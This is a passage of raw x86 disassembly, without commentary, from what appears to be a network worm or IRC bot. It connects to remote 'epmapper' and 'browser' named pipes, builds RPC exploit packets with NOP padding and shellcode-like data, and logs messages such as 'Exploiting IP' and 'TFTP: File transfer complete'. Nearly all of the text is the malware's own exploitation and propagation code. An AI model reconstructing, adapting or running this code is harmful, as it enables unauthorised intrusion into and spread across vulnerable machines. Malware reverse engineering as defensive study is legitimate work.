mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9D2: ; CODE XREF: sub_40D9A4+12j mov eax, esi pop edi pop esi retn 8 sub_40D9A4 endp ; =============== S U B R O U T I N E ======================================= sub_40D9D9 proc near ; CODE XREF: sub_40D815+39p ; sub_40D815+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9EC call sub_426453 loc_40D9EC: ; CODE XREF: sub_40D9D9+Cj mov ecx, edi call sub_40DAFD mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA02 mov ebx, eax loc_40DA02: ; CODE XREF: sub_40D9D9+25j test ebx, ebx jbe short loc_40DA38 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D400 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8E3 test al, al jz short loc_40DA38 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA38: ; CODE XREF: sub_40D9D9+2Bj ; sub_40D9D9+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9D9 endp ; =============== S U B R O U T I N E ======================================= sub_40DA40 proc near ; CODE XREF: sub_40D8E3+79p mov eax, offset loc_426D8C call sub_41D3D0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA66 mov edi, [ebp+8] loc_40DA66: ; CODE XREF: sub_40DA40+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA73 xor eax, eax loc_40DA73: ; CODE XREF: sub_40DA40+2Fj push eax call sub_41D735 pop ecx mov [ebp+8], eax jmp short loc_40DAA4 ; --------------------------------------------------------------------------- loc_40DA7F: ; DATA XREF: ___:00427FCCo mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA8E xor eax, eax loc_40DA8E: ; CODE XREF: sub_40DA40+4Aj push eax call sub_41D735 mov [ebp+8], eax pop ecx mov eax, offset loc_40DA9E retn ; --------------------------------------------------------------------------- loc_40DA9E: ; DATA XREF: sub_40DA40+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAA4: ; CODE XREF: sub_40DA40+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAC2 cmp eax, edi jbe short loc_40DAB1 mov eax, edi loc_40DAB1: ; CODE XREF: sub_40DA40+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CAB0 add esp, 0Ch loc_40DAC2: ; CODE XREF: sub_40DA40+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D968 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAE2 mov edi, ebx loc_40DAE2: ; CODE XREF: sub_40DA40+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA40 endp ; =============== S U B R O U T I N E ======================================= sub_40DAFD proc near ; CODE XREF: sub_40D9D9+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB2A mov al, [esi-1] test al, al jz short loc_40DB2A cmp al, 0FFh jz short loc_40DB2A push 1 call sub_40D968 push esi call sub_41B960 pop ecx push eax push esi mov ecx, edi call sub_40D9A4 loc_40DB2A: ; CODE XREF: sub_40DAFD+9j ; sub_40DAFD+10j ... pop edi pop esi retn sub_40DAFD endp ; =============== S U B R O U T I N E ======================================= sub_40DB2D proc near ; DATA XREF: ___:00429008o test byte_4D9A2C, 1 jnz short loc_40DB3D or byte_4D9A2C, 1 loc_40DB3D: ; CODE XREF: sub_40DB2D+7j jmp $+5 push offset nullsub_2 call sub_41D7B0 pop ecx retn sub_40DB2D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB4F proc near ; CODE XREF: ___:0040DF65p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_4329A0 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_432998 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43B4B8 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2710000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CC024 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4C93A4 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC13 cmp eax, ebx jnz short loc_40DC1D loc_40DC13: ; CODE XREF: sub_40DB4F+BEj push edi push edi push edi push esi call dword_4C93A4 loc_40DC1D: ; CODE XREF: sub_40DB4F+C2j cmp eax, 5 jz short loc_40DC2B cmp eax, ebx jz short loc_40DC2B push 1 pop eax jmp short loc_40DC2D ; --------------------------------------------------------------------------- loc_40DC2B: ; CODE XREF: sub_40DB4F+D1j ; sub_40DB4F+D5j xor eax, eax loc_40DC2D: ; CODE XREF: sub_40DB4F+DAj pop edi pop esi pop ebx leave retn sub_40DB4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC32 proc near ; CODE XREF: ___:0040DFB7p ; ___:0040E097p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_4329A0 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_432998 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43B4B8 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2710000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 add esp, 10h loc_40DCC3: ; CODE XREF: sub_40DC32+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4C923C test eax, eax jz short loc_40DCE3 push 7D0h nop call near ptr 26A053Bh jmp short loc_40DCC3 ; --------------------------------------------------------------------------- loc_40DCE3: ; CODE XREF: sub_40DC32+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCEA proc near ; CODE XREF: ___:0040DFE6p ; ___:0040E124p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C2A0 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B21E mov edi, eax add esp, 10h test edi, edi jz loc_40DF39 push ebx mov ebx, offset off_4328B4 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CAB0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BD10 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CAB0 add esp, 24h lea esi, [edi+0D7h] loc_40DD6F: ; CODE XREF: sub_40DCEA+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDBF mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CAB0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BD10 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CAB0 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD6F ; --------------------------------------------------------------------------- loc_40DDBF: ; CODE XREF: sub_40DCEA+90j cmp [ebp+arg_C4], 0 jz short loc_40DDDA cmp [ebp+arg_C0], 3 jz short loc_40DDE3 cmp [ebp+arg_C0], 0 jmp short loc_40DDE1 ; --------------------------------------------------------------------------- loc_40DDDA: ; CODE XREF: sub_40DCEA+DCj cmp [ebp+arg_C0], 3 loc_40DDE1: ; CODE XREF: sub_40DCEA+EEj jnz short loc_40DDEC loc_40DDE3: ; CODE XREF: sub_40DCEA+E5j push 4 push offset dword_432994 jmp short loc_40DDF3 ; --------------------------------------------------------------------------- loc_40DDEC: ; CODE XREF: sub_40DCEA:loc_40DDE1j push 4 push offset dword_432990 loc_40DDF3: ; CODE XREF: sub_40DCEA+100j lea eax, [ebp+var_1FE0] push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_4324C8 push eax call sub_41CAB0 push 10h lea eax, [ebp+var_CA4] push offset dword_43282C push eax call sub_41CAB0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CAB0 lea edi, [esi+370h] push 3Ch push offset off_432840 lea eax, [ebp+edi+var_1004] push eax call sub_41CAB0 add edi, 3Ch push 30h push offset dword_432880 lea eax, [ebp+edi+var_1004] push eax call sub_41CAB0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BC9B add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BD10 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CAB0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF39: ; CODE XREF: sub_40DCEA+3Ej pop edi pop esi leave retn sub_40DCEA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C2A0 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0AB lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB4F pop ecx test eax, eax pop ecx jz loc_40E1BB lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C006 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 2730000h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFC2 loc_40DFB3: ; CODE XREF: ___:0040E063j lea eax, [ebp+0Ch] push eax call sub_40DC32 pop ecx jmp loc_40E1BB ; --------------------------------------------------------------------------- loc_40DFC2: ; CODE XREF: ___:0040DFB1j lea eax, [ebp+0Ch] push 2 push eax call sub_41827E pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCEA add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E05A mov edi, 186A0h push edi call sub_41BC9B mov esi, eax push edi push ebx push esi call sub_41BD10 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_43247C push dword ptr [ebp-4] call near ptr 27207C8h nop cmp byte ptr [esi+2], 0Ch jnz short loc_40E04A lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call near ptr 2720000h nop test eax, eax jnz short loc_40E068 loc_40E04A: ; CODE XREF: ___:0040E030j push esi call sub_41BA31 push dword ptr [ebp-8] call sub_41BA31 pop ecx pop ecx loc_40E05A: ; CODE XREF: ___:0040DFF6j push dword ptr [ebp-4] call near ptr 2680000h nop jmp loc_40DFB3 ; --------------------------------------------------------------------------- loc_40E068: ; CODE XREF: ___:0040E048j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call near ptr 27110B5h nop push dword ptr [ebp-8] mov edi, eax call sub_41BA31 push esi call sub_41BA31 pop ecx pop ecx push dword ptr [ebp-4] nop call near ptr 2680000h lea eax, [ebp+0Ch] push eax call sub_40DC32 cmp edi, 1 pop ecx jnz loc_40E1CF jmp loc_40E1BB ; --------------------------------------------------------------------------- loc_40E0AB: ; CODE XREF: ___:0040DF57j lea eax, [ebp+0Ch] push 1 push eax call sub_41827E mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1BB xor ebx, ebx push ebx push 1 push 2 call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1BB push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4C9304 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4C9344 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCEA mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E13D push dword ptr [ebp-4] jmp short loc_40E1B5 ; --------------------------------------------------------------------------- loc_40E13D: ; CODE XREF: ___:0040E136j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_40E155 loc_40E152: ; CODE XREF: ___:0040E167j push esi jmp short loc_40E1AE ; --------------------------------------------------------------------------- loc_40E155: ; CODE XREF: ___:0040E150j push ebx push 48h push offset dword_43247C push edi call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_40E152 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4C931C push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_40E196 push dword ptr [ebp-8] jmp short loc_40E1AE ; --------------------------------------------------------------------------- loc_40E196: ; CODE XREF: ___:0040E18Fj push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4C931C push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1C2 loc_40E1AE: ; CODE XREF: ___:0040E153j ; ___:0040E194j call sub_41BA31 pop ecx push edi loc_40E1B5: ; CODE XREF: ___:0040E13Bj call dword_4C939C loc_40E1BB: ; CODE XREF: ___:0040DF6Ej ; ___:0040DFBDj ... xor eax, eax jmp loc_40E27E ; --------------------------------------------------------------------------- loc_40E1C2: ; CODE XREF: ___:0040E1ACj call sub_41BA31 pop ecx push edi call dword_4C939C loc_40E1CF: ; CODE XREF: ___:0040E0A0j lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C006 add esp, 0Ch xor esi, esi loc_40E1E9: ; CODE XREF: ___:0040E209j lea eax, [ebp-234h] push eax call sub_415DCF test eax, eax pop ecx jnz short loc_40E20D push 1388h nop call near ptr 26A053Bh inc esi cmp esi, 6 jl short loc_40E1E9 jmp short loc_40E27B ; --------------------------------------------------------------------------- loc_40E20D: ; CODE XREF: ___:0040E1F8j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C006 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E259 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 add esp, 14h loc_40E259: ; CODE XREF: ___:0040E23Aj lea eax, [ebp-234h] push eax call sub_415CEE mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40E27B: ; CODE XREF: ___:0040E20Bj push 1 pop eax loc_40E27E: ; CODE XREF: ___:0040E1BDj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E283 proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40E283 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E288 proc near mov eax, dword_432B98 add eax, 6 mov dword_4CC028, eax retn sub_40E288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E296 proc near ; CODE XREF: sub_40E296+D0p ; ___:0040E7F5p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40E2AA or [ebp+arg_7], 1 jmp short loc_40E2AE ; --------------------------------------------------------------------------- loc_40E2AA: ; CODE XREF: sub_40E296+Cj and [ebp+arg_7], 0FEh loc_40E2AE: ; CODE XREF: sub_40E296+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40E2D2 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40E2E4 ; --------------------------------------------------------------------------- loc_40E2D2: ; CODE XREF: sub_40E296+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40E2E4: ; CODE XREF: sub_40E296+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41BC9B test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40E37D push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2720000h test eax, eax jz short loc_40E374 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40E374 push [ebp+arg_20] call sub_41BA31 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40E370 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40E296 add esp, 2Ch jmp short loc_40E37F ; --------------------------------------------------------------------------- loc_40E370: ; CODE XREF: sub_40E296+B3j mov al, 1 jmp short loc_40E37F ; --------------------------------------------------------------------------- loc_40E374: ; CODE XREF: sub_40E296+9Cj ; sub_40E296+A4j push [ebp+arg_20] call sub_41BA31 pop ecx loc_40E37D: ; CODE XREF: sub_40E296+61j xor al, al loc_40E37F: ; CODE XREF: sub_40E296+D8j ; sub_40E296+DCj pop edi pop esi pop ebx leave retn sub_40E296 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 0Fh db 0DFh ; ß db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 0D8h ; Ø db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 5Fh ; _ db 0F5h ; õ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 14h db 2Ch ; , db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 3Dh ; = db 0DDh ; Ý db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 3Eh ; > db 0D9h ; Ù db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 0B8h ; ¸ db 0B4h ; ´ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 3Bh ; ; db 82h ; ‚ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40E3FC ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40E3FC: ; CODE XREF: ___:0040E3F5j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41C100 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 2730000h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40E440 loc_40E439: ; CODE XREF: ___:0040E518j ; ___:0040E6EEj ... xor al, al jmp loc_40E884 ; --------------------------------------------------------------------------- loc_40E440: ; CODE XREF: ___:0040E437j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41BD10 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432BEC push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41CAB0 push 10h lea eax, [ebp-84h] push offset dword_432BD8 push eax mov dword ptr [ebp-88h], 3 call sub_41CAB0 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2720000h test eax, eax jnz short loc_40E51D loc_40E50F: ; CODE XREF: ___:0040E5E9j push dword ptr [ebp-4] nop call near ptr 2680000h jmp loc_40E439 ; --------------------------------------------------------------------------- loc_40E51D: ; CODE XREF: ___:0040E50Dj lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] call near ptr 27110B5h nop push ebx call sub_41D81B push eax call sub_41C058 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41BD10 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41BD10 add esp, 20h call sub_41C062 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_432B80[esi], bl jz short loc_40E594 push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CC030 jmp short loc_40E5A7 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: ___:0040E580j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_432BCF+1) loc_40E5A7: ; CODE XREF: ___:0040E592j lea eax, [ebp-20h] push eax call sub_41CAB0 add esp, 0Ch call sub_41C062 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41C062 cdq idiv edi mov eax, dword_432B74[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41BC9B mov edi, eax pop ecx cmp edi, ebx jz loc_40E50F mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41BD10 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41BD10 mov eax, dword_432B7C[esi] push 7 add eax, edi push offset dword_432B68 push eax mov [ebp+0Ch], eax call sub_41CAB0 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432A08 push eax call sub_41CAB0 mov eax, dword_432B78[esi] add esp, 30h cmp byte_432B80[esi], bl mov [ebp+0Ch], eax jz short loc_40E6A0 push 4 add eax, edi push offset dword_4CC028 push eax call sub_41CAB0 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_432B98 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41CAB0 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41CAB0 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41CAB0 add esp, 30h jmp short loc_40E6C8 ; --------------------------------------------------------------------------- loc_40E6A0: ; CODE XREF: ___:0040E651j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_432B98 loc_40E6B1: ; CODE XREF: ___:0040E6C6j push 4 push esi push dword ptr [ebp+0Ch] call sub_41CAB0 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40E6B1 loc_40E6C8: ; CODE XREF: ___:0040E69Ej mov eax, [ebp+8] add eax, 42h push eax call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40E6F3 push dword ptr [ebp-4] nop call near ptr 2680000h push edi call sub_41BA31 pop ecx jmp loc_40E439 ; --------------------------------------------------------------------------- loc_40E6F3: ; CODE XREF: ___:0040E6DCj mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41BD10 lea eax, [ebp-70h] push 14h push eax push esi call sub_41CAB0 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276A4 fstp qword ptr [esp] call sub_41CF2B call sub_41CF04 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41CAB0 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40E760 loc_40E758: ; CODE XREF: ___:0040E75Bj inc eax test al, 3 jnz short loc_40E758 mov [ebp+0Ch], eax loc_40E760: ; CODE XREF: ___:0040E756j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41CAB0 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41BA31 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41BD10 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr 